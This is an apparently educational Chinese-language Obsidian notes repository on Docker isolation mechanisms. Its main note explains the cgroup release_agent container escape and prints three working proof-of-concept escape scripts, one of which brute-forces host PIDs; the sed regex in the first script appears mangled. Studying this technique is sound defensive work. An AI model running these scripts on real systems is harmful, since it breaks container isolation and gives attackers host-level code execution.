├── .obsidian ├── appearance.json ├── hotkeys.json ├── app.json ├── core-plugins.json ├── graph.json └── workspace ├── extend attr.md ├── README.md ├── rdma.md ├── seccomp.md ├── LSM.md ├── proc.md ├── SELinux.md ├── overlayfs.md ├── capability.md ├── namespace.md ├── usermodehelper.md ├── cgroup.md ├── LICENSE ├── apparmor.md ├── docker.md ├── reference.md ├── Escape Docker.md └── cgroup - kernel code.md /.obsidian/appearance.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /.obsidian/hotkeys.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /.obsidian/app.json: -------------------------------------------------------------------------------- 1 | { 2 | "legacyEditor": false, 3 | "livePreview": true 4 | } -------------------------------------------------------------------------------- /extend attr.md: -------------------------------------------------------------------------------- 1 | Aka [[reference#Man Page - Xattr]] 2 | 3 | 特殊的额外属性 4 | 5 | 与这里相关的是 [[namespace]].attribute 即为命名空间扩展属性 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 文档补充 2 | 文章核心主体是 文件 [[Escape Docker]] 3 | 4 | 其他文章均为基础知识和解释 5 | 6 | 全文使用 [Obsidian](https://obsidian.md/) 编写 7 | 8 | 可以使用其阅读视图获取更棒的使用体验 -------------------------------------------------------------------------------- /rdma.md: -------------------------------------------------------------------------------- 1 | [[reference#RDMA]] 2 | 3 | 在 cgroup 中使用的控制器的一种 4 | 5 | RDMA 控制器允许用户限制给定的 RDMA/IB 特定资源给一组进程可以使用. 6 | 这些进程使用 RDMA 控制器进行分组. 7 | RDMA 控制器定义了两个资源,它们可以被限制用于一个进程 [[cgroup]]. 8 | 9 | 通过 socks 文件进行控制的 直接 echo 进去就可以了 -------------------------------------------------------------------------------- /seccomp.md: -------------------------------------------------------------------------------- 1 | refer: [[reference#Docker Official Security Document#Seccomp]] 2 | 3 | Docker 安全策略之一 linux kernel 安全组件之一 4 | 5 | 使用基于黑白名单进行的系统调用的管控 6 | 7 | 在 Docker 中禁止 mount reboot setns 等 44 项系统调用 详情参看 docker 官方文档 (refer 第二条) 8 | -------------------------------------------------------------------------------- /LSM.md: -------------------------------------------------------------------------------- 1 | Linux Security Module 2 | 3 | 编写教程: https://rlyown.github.io/2021/07/14/LSM%E5%AE%89%E5%85%A8%E6%A8%A1%E5%9D%97%E5%BC%80%E5%8F%91/ 4 | 5 | Wiki: https://en.wikipedia.org/wiki/Linux_Security_Modules 6 | %% use en not zh %% 7 | 8 | -------------------------------------------------------------------------------- /proc.md: -------------------------------------------------------------------------------- 1 | 目录 proc 2 | 3 | 一般是 tmpfs 文件系统 临时文件系统 [[reference#Linux Kernel#tmpfs]] 4 | 5 | proc 是 process 的缩写 6 | 7 | 是存放和维护进程相关信息的内存级目录 并不是存储在硬盘中的 8 | 9 | [[reference#Linux Kernel#proc]] 10 | 11 | 是 Linux文件系统下 非常敏感非常重要的目录 包括其子文件夹 -------------------------------------------------------------------------------- /.obsidian/core-plugins.json: -------------------------------------------------------------------------------- 1 | [ 2 | "file-explorer", 3 | "global-search", 4 | "switcher", 5 | "graph", 6 | "backlink", 7 | "page-preview", 8 | "note-composer", 9 | "command-palette", 10 | "editor-status", 11 | "markdown-importer", 12 | "word-count", 13 | "open-with-default-app", 14 | "file-recovery" 15 | ] -------------------------------------------------------------------------------- /SELinux.md: -------------------------------------------------------------------------------- 1 | Wiki: https://en.wikipedia.org/wiki/Security-Enhanced_Linux 2 | 3 | refer: [[reference#SeLinux]] 4 | 5 | Linux 内核安全的增强管控 made from NAS 6 | 7 | > 不过就目前的情况而言 很多 Linux 用户乃至是服务器都不会开启这一项功能 8 | 9 | 一般以 [[apparmor]] 为替代 因为他两均基于 [[LSM]] linux 安全模块 10 | 11 | 用于强控制 文件许可 网络使用 系统能力, 它们力求在系统范围内强制执行控制系统上每个程序可以执行的操作和资源的策略 12 | 13 | -------------------------------------------------------------------------------- /overlayfs.md: -------------------------------------------------------------------------------- 1 | [[reference#Linux Kernel#Overlayfs]] 2 | [[reference#Container Cgroup FileSystem Namespace]] 3 | 4 | Docker 使用的文件系统底层 5 | 6 | 正如他的名字 overlayfs 覆盖层文件系统 7 | 8 | 是一层一层覆盖上去的 然后满足 9 | - 层层叠加 10 | - 底层被上层的同名文件覆盖 目录则合并 不同名则上传到 11 | - 以拷贝形式上传 12 | - 底层只读 只在 merge 层无论如何操作都无所谓 不会影响底层 13 | 14 | 这种每一层就像一个 git 提交一样 可以还原 分离 合并 确实是广受好评 15 | 16 | 对于有相同历史的层 就无需多次复制 直接依赖就行 17 | 18 | 非常的方便和实用 19 | 20 | -------------------------------------------------------------------------------- /capability.md: -------------------------------------------------------------------------------- 1 | refer [[reference#Man Page#Capabilities]] 2 | 3 | CAP是针对**进程**来说的 也可以通过运行程序继承当前的环境来确定当前环境的 4 | 5 | 其他的目前可以不看 6 | 7 | 主要概述一下 `CAP_SYS_ADMIN` 8 | 这个是属于一种全新的 Root 用于取代之前几个版本的 Root 的权限 9 | 10 | 这些 Cap 主要从不同方面分割了 最高的 Root 特权, 将所有需要对应**特权** 的 syscall 组合成一个 CAP, 然后我们就可以只将进程分配给它们需要的子集. 因此, 内核调用被分成了几十个不同的类别. 但是 CAP_SYS_ADMIN 仍然拥有全部的权限, 也就是之前的 ROOT 。 11 | 12 | 可以非常简单的使用 `cat /proc/$$/status` 来进行查看所属的标识 13 | 14 | > Sounds Like [[RBAC]]. 非常类似的思想 -------------------------------------------------------------------------------- /.obsidian/graph.json: -------------------------------------------------------------------------------- 1 | { 2 | "collapse-filter": true, 3 | "search": "", 4 | "showTags": false, 5 | "showAttachments": false, 6 | "hideUnresolved": false, 7 | "showOrphans": true, 8 | "collapse-color-groups": true, 9 | "colorGroups": [], 10 | "collapse-display": true, 11 | "showArrow": false, 12 | "textFadeMultiplier": 0, 13 | "nodeSizeMultiplier": 1, 14 | "lineSizeMultiplier": 1, 15 | "collapse-forces": true, 16 | "centerStrength": 0.518713248970312, 17 | "repelStrength": 10, 18 | "linkStrength": 1, 19 | "linkDistance": 250, 20 | "scale": 1, 21 | "close": false 22 | } -------------------------------------------------------------------------------- /namespace.md: -------------------------------------------------------------------------------- 1 | 命名空间 - linux 隔离方法 2 | 3 | [[reference#Container Cgroup FileSystem Namespace]] 4 | 5 | Linux namespaces 是对全局系统资源的一种封装隔离, 使得处于不同 namespace 的进程拥有独立的全局系统资源, 改变一个 namespace 中的系统资源只会影响当前 namespace 里的进程, 对其他 namespace 中的进程没有影响. 是轻量容器的使用的技术之一. 6 | 7 | 在 linux 系统中主要的目的是 隔离进程资源 8 | 9 | 具体隔离的内容分为 6 项 10 | 11 | - Mount 12 | > 隔离文件系统挂载点 13 | - UTS 14 | >隔离主机名,实际隔离 nodename 和 domainname 15 | - IPC 16 | > 隔离进程间通信、信号量和消息队列等 17 | - PID 18 | > 进程编号 具体体实现是 不同的空间有一样的 PID 例如 Docker 中的 ps pid=1 的进程为 entrypoint 19 | - Network 20 | > 隔离网络包括网络接口、驱动、路由表、防火墙等 21 | - User 22 | > 隔离 UserID 和 GroupID 以及其对应的能力 23 | 24 | 可以简单的通过 `ls -al /proc/$$/ns` 来进行查看当前所属的文件命名空间, 同样也可以用于其他进程的命名空间检查 25 | 26 | 其就相当于一个大筛子 把进程可以用到的系统资源梳理并且隔离 27 | -------------------------------------------------------------------------------- /usermodehelper.md: -------------------------------------------------------------------------------- 1 | 在 cgroup-v1.c 的注释提示到 call_usermodehelper() 2 | 3 | ``` 4 | * The final arg to call_usermodehelper() is UMH_WAIT_EXEC, which 5 | * means only wait until the task is successfully execve()'d. The 6 | * separate release agent task is forked by call_usermodehelper(), 7 | * then control in this thread returns here, without waiting for the 8 | * release agent task. We don't bother to wait because the caller of 9 | * this routine has no use for the exit status of the release agent 10 | * task, so no sense holding our caller up for that. 11 | ``` 12 | 13 | 从侧面可以看出是一种 执行命令的函数 类似于完全异步 的 execve 14 | 15 | 并且 call_usermodehelper 是外源的 extern 的 function 所以 我并不能跟踪下去 16 | 17 | 此外这个函数并没有限制权限之类相关的信息, 所以可以猜出, 只能是 以一种全 cap 的最高 root 权限执行. -------------------------------------------------------------------------------- /cgroup.md: -------------------------------------------------------------------------------- 1 | 2 | cgroup 是一个控制一堆任务 并且抽象出一个大环境的功能 3 | 4 | 称之为 Control group 5 | 6 | 其目的在内核中是 精确分配资源 例如 CPU 等等 7 | 8 | linux 文档 - [[reference#Linux Kernel#Cgroups Doc]] 中详细说明了入下不封 9 | - 定义 cgroup 内容 10 | -> 啥是 cgroup 11 | - 基本使用方法和语法 12 | ->这里阐述了如何使用 相关的 api 13 | - 内核 API 14 | ->主要偏向于内核开发者 15 | - 扩展属性 16 | -> 我更愿意称之为更加细粒度的权限属性的控制.参考 [[extend attr]] 与 [[capability]] 17 | - QA 18 | -> 这里可以不管 19 | 20 | 21 | [[cgroup - kernel code]] 22 | ## release_agent 23 | 存放于 cgroup 文件夹的 release_agent 文件中 24 | 释放代理 是存放一组程序或者脚本的文件 在 cgroup 任务全部结束后 由内核进行进行操作 25 | 26 | 可以认为是一种回调函数 27 | 28 | 通常位于 顶层子系统 [[rdma]] 29 | 30 | ## notify_on_release 31 | 32 | 参考 linux 文档中 [[reference#Linux Kernel#Cgroups Doc]] 1.4 标题 33 | 34 | >每当 cgroup 中的最后一个任务离开(退出或附加到其他某个 cgroup)并且该 cgroup 的最后一个子 cgroup 被删除时,内核就会运行由该层次结构的根目录中的 “release_agent” 文件内容指定的命令,提供结束的 cgroup 的路径名 (相对于 cgroup 文件系统的挂载点)。这使得可以自动删除被遗弃的 cgroups。 35 | >系统引导时根 cgroup 中 notify_on_release 的默认值为禁用(0)。其他组在创建时的默认值是其父组 notify_on_release 设置的当前值。Cgroup 层次结构的 release_agent 路径的默认值为空。 36 | 37 | 可以认为是 是否执行回调的 flag -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 ESONHUGH 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /apparmor.md: -------------------------------------------------------------------------------- 1 | 官网: https://apparmor.net/ 2 | 3 | Wiki: https://en.wikipedia.org/wiki/AppArmor 4 | 5 | 基于 Linux kernel 安全模块 [[LSM]] 6 | 7 | 可以与 [[SELinux]] 相互替代 8 | 9 | from Wiki: 10 | > 当时, AppArmor 被称为 SubDomain,是指将特定程序的安全配置文件分割成不同域的能力,程序可以在这些域之间动态切换 11 | 12 | 分别强控制管控文件许可 网络使用 系统能力, 它们力求在系统范围内强制执行控制系统上每个程序可以执行的操作和资源的策略 13 | 14 | 与 Docker 相关的安全方面主要取决于 AppArmor 采用的容器策略配置 但是这种配置策略的具体内容 对于容器内的用户(通常指攻击者)其实是不得而知的 只能通过枚举多个可能的 Weakness point 来发现配置错误 15 | 16 | 其具体配置方案可以参照 [[reference#Docker Official Security Document#AppArmor]] 17 | 18 | docker 默认为 19 | 20 | **docker-default profile Summary**: 21 | 22 | - **Access** 所有的 **networking** 23 | - 没有 **capability** 被定义 24 | > 但是默认的 abstractions/base 中 caps 是有引入的 25 | - **Writing** to any **/proc** file is **not allowed** 26 | > 写入 /proc 是被禁止的 但是 如果 proc 不是在 /proc 下是可以允许的 27 | - Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access 28 | > proc sys 的子目录都是禁止 读写锁链接执行 的 29 | - **Mount** is **not allowed** 30 | > 禁止挂载操作 31 | - **Ptrace** can only be run on a process that is confined by **same apparmor profile** 32 | > ptrace 是只允许在相同 apparmor 策略下的程序才能进行 跟踪 33 | 34 | 容器里一般情况是看不到 apparmor 的 否则可以尝试修改策略然后重载使得失效 35 | 36 | 此外具有 shebang bug 可以绕过其检测 -------------------------------------------------------------------------------- /docker.md: -------------------------------------------------------------------------------- 1 | # what's Docker 2 | 3 | 与正常理解不同的是 当借助 Docker 时 您可将容器当做轻巧模块化的虚拟机使用. 同时,您还将获得高度的灵活性, 从而实现对容器的高效创建 部署及复制, 并能将其从一个环境顺利迁移至另一个环境. Docker 在很多的开发者手中, **尤其是云原生开发者**, 可以用来发布/版本控制/快速部署他们的应用. 4 | 5 | **但是 Docker 不是 Virtual Machine** 在隔离方面 Docker 和 虚拟机差别实在太大了. 6 | 7 | 同时 Docker 也可以用来解决类似 "python 怎么在你这里跑的起来, 在我这里连依赖都冲突" 的尴尬问题. 8 | 9 | 很多时候提到 Docker 就要和 LXC 容器 以及 虚拟机 进行一次 battle. 10 | 11 | 这里就不进行说明了 可以直接参考文档 12 | 13 | 简单的说明就是 14 | - LXC 更为轻量的容器实现 基于 [[cgroup]] 与 [[namespace]] 15 | - docker 原先基于 LXC 但是后面渐渐脱离. 除了运行容器之外,Docker 技术还具备其他多项功能, 包括简化用于构建容器/传输镜像以及控制镜像版本的流程 更容易使用和管理 16 | - 虚拟机是更高级的处理. 操作系统的内核(kernel)都是被完全独立出去了 但是资源消耗更大 17 | 18 | > 正因为容器中是共享 kernel 的 并没有如虚拟机一般隔离 所以对于 kernel 的共享信息 例如共享的内存 可以进行提权逃逸 19 | 20 | > LXC 和 虚拟机这里不进行多谈 21 | 22 | ## 基本信息 23 | [[reference#Hacktricks#Docker Basic]] 24 | 25 | 采用文件系统 [[overlayfs]] 26 | 27 | 采用类似于前后端分离的方法操控 28 | 29 | 用户或者管理员使用 docker cli 或者 其他炫酷 UI 的 docker 应用程序进行操作 "前端" 30 | 31 | 实际上发号施令进行管理控制的 "后端" Docker Engine 32 | 33 | 早期版本中 docker 是使用 http 监听的 34 | 35 | 由于暴露在 [[SSRF]] 的攻击下 现在版本已经采用了 unix 本地套接字 36 | 37 | ## 安全策略 38 | 使用 命令行 flag `security-opt` 进行指定 39 | 40 | ### 初级隔离方式 41 | [[namespace]] 可以认为是一种 大网眼大筛子筛选出来的是大概的设备 42 | [[cgroup]] 可以认为是一种 精细的小筛子筛选出来更加精细的控制 43 | 这是我认为两种隔离手段上的不同点 44 | ### 高级访问控制隔离方法 45 | [[apparmor]] 46 | [[SELinux]] 47 | [[seccomp]] 48 | 49 | # 特权模式 50 | [[reference#Docker Official Security Document]] 51 | - 直接禁用 [[SELinux]] 52 | - 可以访问很多的硬件 /dev 目录下会有更多内容 比如非常致命的 sda1 53 | - 以非只读形式访问到 [[cgroup]] 可以修改内容 54 | - 有 tmpfs 形式挂载的 [[proc]] 目录 普通情况下无 不可供给读写 55 | - 获得所有的 linux [[capability]] 56 | 57 | -------------------------------------------------------------------------------- /.obsidian/workspace: -------------------------------------------------------------------------------- 1 | { 2 | "main": { 3 | "id": "50a842c671dbdc73", 4 | "type": "split", 5 | "children": [ 6 | { 7 | "id": "0828bf38331daeaa", 8 | "type": "leaf", 9 | "state": { 10 | "type": "graph", 11 | "state": {} 12 | } 13 | } 14 | ], 15 | "direction": "vertical" 16 | }, 17 | "left": { 18 | "id": "044052a9e74b9a51", 19 | "type": "split", 20 | "children": [ 21 | { 22 | "id": "0edb885ce9a2d229", 23 | "type": "tabs", 24 | "children": [ 25 | { 26 | "id": "1bf0f64714c030f9", 27 | "type": "leaf", 28 | "state": { 29 | "type": "file-explorer", 30 | "state": {} 31 | } 32 | }, 33 | { 34 | "id": "93c956d7cabb6f7f", 35 | "type": "leaf", 36 | "state": { 37 | "type": "search", 38 | "state": { 39 | "query": "", 40 | "matchingCase": false, 41 | "explainSearch": false, 42 | "collapseAll": false, 43 | "extraContext": false, 44 | "sortOrder": "alphabetical" 45 | } 46 | } 47 | } 48 | ] 49 | } 50 | ], 51 | "direction": "horizontal", 52 | "width": 300 53 | }, 54 | "right": { 55 | "id": "1733050abbd0f982", 56 | "type": "split", 57 | "children": [ 58 | { 59 | "id": "a4d8e2efffe472e1", 60 | "type": "tabs", 61 | "children": [ 62 | { 63 | "id": "5e95ae21dc94d421", 64 | "type": "leaf", 65 | "state": { 66 | "type": "backlink", 67 | "state": { 68 | "collapseAll": false, 69 | "extraContext": false, 70 | "sortOrder": "alphabetical", 71 | "showSearch": false, 72 | "searchQuery": "", 73 | "backlinkCollapsed": false, 74 | "unlinkedCollapsed": true 75 | } 76 | } 77 | } 78 | ] 79 | } 80 | ], 81 | "direction": "horizontal", 82 | "width": 300, 83 | "collapsed": true 84 | }, 85 | "active": "0828bf38331daeaa", 86 | "lastOpenFiles": [ 87 | "extend attr.md", 88 | "overlayfs.md", 89 | "docker.md", 90 | "capability.md" 91 | ] 92 | } -------------------------------------------------------------------------------- /reference.md: -------------------------------------------------------------------------------- 1 | 参考资料统一归档文档 2 | 3 | # Docker Official Security Document 4 | https://docs.docker.com/engine/security/ 5 | 6 | ## AppArmor 7 | https://docs.docker.com/engine/security/apparmor/ 8 | 9 | ## Seccomp 10 | https://en.wikipedia.org/wiki/Seccomp 11 | 12 | https://docs.docker.com/engine/security/seccomp/ 13 | 14 | # Docker Source Code analysis 15 | https://jimmysong.io/blog/docker-source-code-analysis-code-structure/ 16 | 17 | docker 源码翻阅 18 | 19 | # Main Reference 20 | http://cn-sec.com/archives/157104.html 21 | https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape 22 | 23 | 主要的参考文章, 我认为是写的最棒的一篇文章. 24 | 25 | # Linux Kernel 26 | ## Cgroups Doc 27 | https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/Documentation/admin-guide/cgroup-v1/cgroups.rst 28 | 29 | ## Overlayfs 30 | https://www.kernel.org/doc/html/latest/filesystems/overlayfs.html 31 | 32 | ## tmpfs 33 | https://www.kernel.org/doc/html/latest/filesystems/tmpfs.html 34 | 35 | ## /proc 36 | https://www.kernel.org/doc/html/latest/filesystems/proc.html?highlight=proc 37 | 38 | # Hacktricks 39 | ## Capabilities 40 | https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities 41 | 42 | ## Docker Escape 43 | https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation 44 | 45 | ## Docker Basic 46 | https://book.hacktricks.xyz/network-services-pentesting/2375-pentesting-docker#docker-basics 47 | 48 | # Man Page 49 | ## Capabilities 50 | https://man7.org/linux/man-pages/man7/capabilities.7.html 51 | 52 | ## Xattr 53 | https://man7.org/linux/man-pages/man7/xattr.7.html 54 | 55 | # BlackHat 2019 Docker Escape 56 | Video: https://www.youtube.com/watch?v=BQlqita2D2s 57 | 58 | Demo PPT: https://i.blackhat.com/USA-19/Thursday/us-19-Edwards-Compendium-Of-Container-Escapes-up.pdf 59 | 60 | # Container Cgroup FileSystem Namespace 61 | http://www.zyixinn.com/?p=854 62 | 63 | ## Cgroup 64 | http://119.23.219.145/posts/%E5%AE%B9%E5%99%A8-cgroup-%E6%95%B4%E4%BD%93%E4%BB%8B%E7%BB%8D/ 65 | 66 | https://arthurchiao.art/blog/cgroupv2-zh/ 67 | 68 | ## Namespace 69 | https://lwn.net/Articles/531114/ 70 | 71 | # RDMA 72 | https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt 73 | 74 | # SeLinux 75 | https://wiki.centos.org/zh/HowTos/SELinux 76 | 77 | # Usermod helper 78 | https://developer.ibm.com/articles/l-user-space-apps/ -------------------------------------------------------------------------------- /Escape Docker.md: -------------------------------------------------------------------------------- 1 | # 关于 Docker Release Agent 相关的逃逸以及其基础知识 2 | 3 | [[reference#Hacktricks - Docker Escape]] 我觉得写的利用方法非常全了 除了没有介绍更多的 Docker 技术和 内核相关更多的原理外 已经算是较为完善的了. 同时我也有做过一些贡献. 4 | >[[reference#Hacktricks#Docker Basic]] 介绍了几乎全部本文档的内容 5 | >(尽管我几乎写完整篇文章之后才看到了它) 6 | >后悔 非常的后悔. 7 | 8 | 首先我并不认为并不认为这是一个漏洞 而是一个 Docker Misconfig 的提权方法 类似 LoLBins 9 | 需要对方设置 类似 `--cap-add=SYS_ADMIN --security-opt apparmor=unconfined --privilege` 一类的特殊属性 而且这些也是被 [[reference#Docker Official Security Document]] 明确被认为是不安全的 10 | 11 | ## 前置知识 12 | [[docker]] 13 | **[[cgroup]]** 14 | 15 | ## 逃逸方案 release_agent 16 | 17 | 核心原理一言以弊之, 利用`cgroup 中子系统任务完全结束会 而且在 notify_on_release 被置为 1 时 kernel 会执行 release_agent 中的脚本`的特性, 恶意布置容器内 cgroup 子系统的内容 借助 kernel 之手高权限地去执行脚本 最后导致逃逸到宿主机上面。 18 | 19 | > 而至于这个特性的产生 我尝试阅读了 linux kernel code 和 blackhat 的 video 我发现了[[cgroup - kernel code]] 这个东西. 20 | 21 | 但是针对 docker 系统资源进行管理/调配 (例如控制改变 cgroup 或者挂载等等) 是需要宿主机高权限的. 而 docker 容器的安全策略配置错误就可以帮助我们 比如使用了 [[docker#特权模式]] 或者加入 错误的 [[capability]] `CAP_SYS_ADMIN` , 错误配置了 [[apparmor]] 的权限 (默认是 docker-default 直接为空即可) 之后导致的权限滥用 22 | 23 | CAP_SYS_ADMIN 所起的作用是进行 mount 和 cgroup 修改 24 | 25 | 所以我们需要做的就是 26 | 27 | 1. 定位出我们文件系统所在的位置 /etc/mtab 或者说 /proc/[digits]/mounts 可以帮助我们确定 upperdir 的位置 28 | 2. 挂载 cgroup 子目录 29 | 3. 构造恶意脚本 reverse shell 30 | 4. 写入目标文件 release_agent 加入自己的恶意脚本名称 31 | 5. 创建一个快速释放的进程并且将其进程号写入 task 32 | 然后内核就会完成剩下几步进行命令执行 33 | 34 | ```mermaid 35 | sequenceDiagram; 36 | participant Docker 37 | participant 宿主机 38 | 39 | Note over Docker: 确认所在的文件位置与权限 40 | 41 | Note over Docker: 注意保存 upperdir 的值 42 | rect rgb(200,150,255) 43 | Note over Docker,宿主机: 容器内创建挂载 cgroup 相对根目录 path1 44 | Note over Docker,宿主机: 宿主机则为 upperdir/path1 45 | end 46 | 47 | rect rgb(200,150,255) 48 | Note over Docker,宿主机: 容器内创建执行脚本 相对根目录 path2 49 | Note over Docker,宿主机: 宿主机则为 upperdir/path2 50 | Note over Docker,宿主机: 脚本输出需要指定一个容器下的文件作为输出 51 | Note over Docker,宿主机: 例 upperdir/output 这样就在 /output 了 52 | end 53 | 54 | Note over Docker: 计算出恶意代码所在位置 upperdir/path2/badcode 55 | 56 | rect rgb(200,150,255) 57 | Note over Docker,宿主机: 恶意脚本位置写入 /path1/release_agent 58 | Note over Docker,宿主机: 恶意代码位置 59 | end 60 | 61 | Note over Docker: 激活 notify_on_release 62 | 63 | rect rgb(200,150,255) 64 | Note over Docker,宿主机: 写入一个快速终止的程序到 /path1/cgroup.procs 65 | Note over Docker,宿主机: 在宿主机上为 upperdir/path1/cgroup.procs 66 | end 67 | 68 | Note over Docker,宿主机: cgroup 子系统下任务结束 69 | 70 | Note over 宿主机: kernel 发现 notify 通知 release_agent 71 | 72 | Note over 宿主机: 执行脚本 upperdir/path2/badcode 73 | 74 | rect rgb(200,150,255) 75 | Note over 宿主机: 输出到 upperdir/output 76 | Note over Docker: 攻击者获取到 /output 的输出(命令返回) 77 | end 78 | ``` 79 | 80 | 而这里一般有 三个版本的 POC 81 | 82 | ### 第一个版本 83 | 这个版本采用的是普通的带 privileged 参数的 docker 84 | 85 | `docker run --privilege -it ubuntu /bin/bash` 86 | 87 | > 这种其实也可以是 mount 出 主机所在的块设备 chroot 进行逃逸 88 | 89 | 这里是第一版本的 POC 90 | 91 | ```bash 92 | cgroup_dir=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` 93 | # also to /sys/fs/cgroup/rdma/release_agent 94 | mkdir -p $cgroup_dir/test_subsystem 95 | echo 1 >$cgroup_dir/test_subsystem/notify_on_release 96 | host_overlay2_fs_dir=`sed -n 's/.*\upperdir=([^,]_)._/\1/p' /etc/mtab` 97 | echo '#!/bin/sh' > /script 98 | echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_privileged_containter" >> /script 99 | echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent 100 | chmod a+x /script 101 | sh -c "echo \$\$ > $cgroup_dir/test_subsystem/cgroup.procs" 102 | ``` 103 | 104 | ### 第二个版本 105 | 这个版本相比之前需要的权限更为低一点 106 | 107 | 所以这里 poc 也合适于上一个版本 108 | 109 | `docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -it ubuntu /bin/bash` 110 | 111 | ``` bash 112 | mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup 113 | # 增加挂载cgroups文件系统操作 114 | cgroup_dir=/tmp/cgroup 115 | # 修改cgroup_dir对应目录路径 116 | mkdir -p $cgroup_dir/test_subsystem_1 117 | echo 1 > $cgroup_dir/test_subsystem_1/notify_on_release 118 | host_overlay2_fs_dir=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab` 119 | echo '#!/bin/sh' > /script 120 | echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_sys_admin_containter" >> /script 121 | echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent 122 | chmod a+x /script 123 | sh -c "echo \$\$ > $cgroup_dir/test_subsystem_1/cgroup.procs" 124 | ``` 125 | 126 | 127 | ## 第三个版本 128 | 以上两个版本需要知道在容器的绝对路径 129 | 130 | 但是如果没有 或者找不到这个路径 131 | 132 | 我们可以用这个 payload 133 | 134 | 看到这个 payload 真的 我直呼好骚 135 | 136 | ```bash 137 | #!/bin/sh 138 | # 定义基本的变量 确定好自己几个目录在容器内的相对位置 139 | OUTPUT_DIR="/" 140 | MAX_PID=65535 141 | CGROUP_NAME="xyx" 142 | CGROUP_MOUNT="/tmp/cgrp" 143 | PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" 144 | PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" 145 | OUTPUT_NAME="${CGROUP_NAME}_payload.out" 146 | OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" 147 | 148 | # Run a process for which we can search for (not needed in reality, but nice to have) 149 | sleep 10000 & 150 | 151 | # Prepare the payload script to execute on the host 152 | cat > ${PAYLOAD_PATH} << __EOF__ 153 | #!/bin/sh 154 | 155 | OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} 156 | 157 | # Commands to run on the host< 158 | ps -eaf > \${OUTPATH} 2>&1 159 | __EOF__ 160 | 161 | # Make the payload script executable 162 | chmod a+x ${PAYLOAD_PATH} 163 | 164 | # Set up the cgroup mount using the memory resource cgroup controller 165 | mkdir ${CGROUP_MOUNT} 166 | mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} 167 | mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} 168 | echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release 169 | 170 | # Brute force the host pid until the output path is created, or we run out of guesses 171 | TPID=1 172 | while [ ! -f ${OUTPUT_PATH} ] 173 | do 174 | if [ $((${TPID} % 100)) -eq 0 ] 175 | then 176 | echo "Checking pid ${TPID}" 177 | if [ ${TPID} -gt ${MAX_PID} ] 178 | then 179 | echo "Exiting at ${MAX_PID} :-(" 180 | exit 1 181 | fi 182 | fi 183 | # Set the release_agent path to the guessed pid 184 | echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent 185 | # Trigger execution of the release_agent 186 | sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" 187 | TPID=$((${TPID} + 1)) 188 | done 189 | 190 | # Wait for and cat the output 191 | sleep 1 192 | echo "Done! Output:" 193 | cat ${OUTPUT_PATH} 194 | ``` 195 | 196 | [[proc]] 是一个模拟的文件系统 同时容器内这部分其实是挂载的 (一般情况是只读系统 但是 --privileged 肯定不是什么一般情况) 197 | 198 | 也就意味着 这个 sleep 形成的进程 在 自己 和 主机之间是某种意义上共有的. 我们可以爆破 path 的 pid `/proc//root/payload.sh`,每次迭代将猜测的 pid 路径写入 该 pid 所有的 cgroups`release_agent`文件,触发 `release_agent`,并查看是否创建了输出文件 199 | 200 | 这里通过检查 PID 来进行检查 他下面的 root -> / 映射该进程下的真实文件系统的一个视图 也包括被隔离的部分 201 | 202 | ### 实验复现时的问题 203 | 204 | 我发现我的 Kali 在运行上述 poc 进行复现的时候并不能复现问题 尽管是已经给予了 `--privileged` 但是仍然逃逸不出来 205 | 206 | 在一步步尝试 中 我发现他有一个报错 `Setting release_agent not allowed` 207 | 208 | 而且无论是上述哪个 poc 都运行不了 209 | 210 | 于是我把实验机器换成了自己的 腾讯云 VPS, 没有任何改动, 所有的 POC 都正常工作了 211 | 212 | 我留意到两个系统内核版本和编译时间相差甚远 213 | 214 | 在翻找了 linux 内核源码时我发现了如下的文件 在其 972 行中发现了 